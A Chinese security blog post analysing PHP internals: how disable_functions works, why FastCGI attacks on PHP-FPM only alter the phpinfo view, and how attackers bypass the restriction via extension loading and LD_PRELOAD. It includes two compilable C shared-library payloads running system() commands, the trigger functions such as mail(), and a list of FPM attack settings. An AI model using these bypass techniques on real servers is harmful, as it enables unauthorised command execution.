写点什么

php 内核分析 -fpm 和 df 的问题思考

用户头像
H
关注
发布于: 2021 年 07 月 06 日
php内核分析-fpm和df的问题思考

这篇文章灵感是来自看了一篇文章《PHP 内核分析-FPM 和 disable-function 安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了,所以自己就简单的记录一下自己的思考,如文中有错误希望师傅们指出。

介绍

php 中的 disable_function 是 EG(ini_directives)来获得的,而 phpinfo 根据 EG(ini_directives) 中获取信息并打印。


然后通过 zend_disable_function()函数去禁止,简单的说就是通过 func->handler = ZEND_FN(display_disabled_function); 修改了 handler。


而 phpinfo⼀直是查看服务器 php 信息的可靠⽅式,但是在包含修改 disable_function 的参数攻击 FPM 后,phpinfo 已经显示修改,但是测试函数仍然禁⽤。在 fpm 攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值为我们传⼊的内容,⽽phpinfo 展示的值就源于这⾥。


还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数,再调⽤ zend_disable_function 函数修改 func->handler 完成禁⽤。


所以说,包含 PHP_VALUE == disable_function= 的恶意 FastCgi 攻击 FPM 时,只能修改展示 phpinfo 信息

的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过 FPM 禁⽤新的函数。

总结

disable_function 的本质是修改 func->handler 完成对函数的禁⽤。

包含 PHP_VALUE ==disable_function= 的恶意 FastCgi 攻击 FPM 时,只能修改展示 phpinfo 信息的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过 FPM 禁⽤新的函数。

攻击 FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。

思考

那么我看网上有一下介绍是通过 fpm 来绕过 disable_function。那么是怎么实现??底层到底是什么?

这里给出自己的答案,之所以说 fpm 能绕过 df 是因为通过配置 PHP_VALUE ==extension_dir +extension,然后我们上传我们的 so 来加载执行。那为什么说加载 so 就可以绕过???

是因为 df 是在模块初始化阶段的最后一步 加载 so 是在这个之前 可能是因为这个导致的 rce(图片是来自上述文章)


下面是清楚点的。


LD_PRELOAD 与 putenv 的配合使用,即 LD_PRELOAD 这个环境变量指定路径的文件(也是 so 文件),会在其他文件被调用前,最先被调用而 putenv 可以设置环境变量。


而一叶飘零师傅文章中介绍了某一个 php 函数,我认为是在执行的过程中能 fork 子进程的函数(启动外部程序的函数并能执行)然后我们 hook 该 fork 子进程,进行重写,完成 rce。

例如:mail(‘’,’’,’’,’’);

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

void payload() {

system("ls / > /tmp/sky");

}

int geteuid()

{

if (getenv("LD_PRELOAD") == NULL) { return 0; }

unsetenv("LD_PRELOAD");

payload();

}

//编译成so文件

//gcc -c -fPIC hack.c -o hack.so

还有 imap_mail()、mb_send_mail()和 error_log()函数等

然后还有一个进化版本

#define _GNU_SOURCE

#include <stdlib.h>

#include <unistd.h>

#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){

unsetenv("LD_PRELOAD");

system("ls");

}

其中__attribute__ ((constructor))有如下说明

1.It’s run when a shared library is loaded, typically during program startup.

2.That’s how all GCC attributes are; presumably to distinguish them from function calls.

3.The destructor is run when the shared library is unloaded, typically at program exit.


1.它在加载共享库时运行,通常在程序启动时运行。//putenv(“LD_PRELOAD=hack.so”);

2.所有 GCC 属性都是这样的;可能是为了将它们与函数调用区分开来。

3.析构函数在卸载共享库时运行,通常在程序退出时运行。


所以我们就不需要找一个函数去触发了。


用户头像

H

关注

还未添加个人签名 2021.07.04 加入

想白嫖网安学习资料的,扣我

评论

发布
暂无评论
php内核分析-fpm和df的问题思考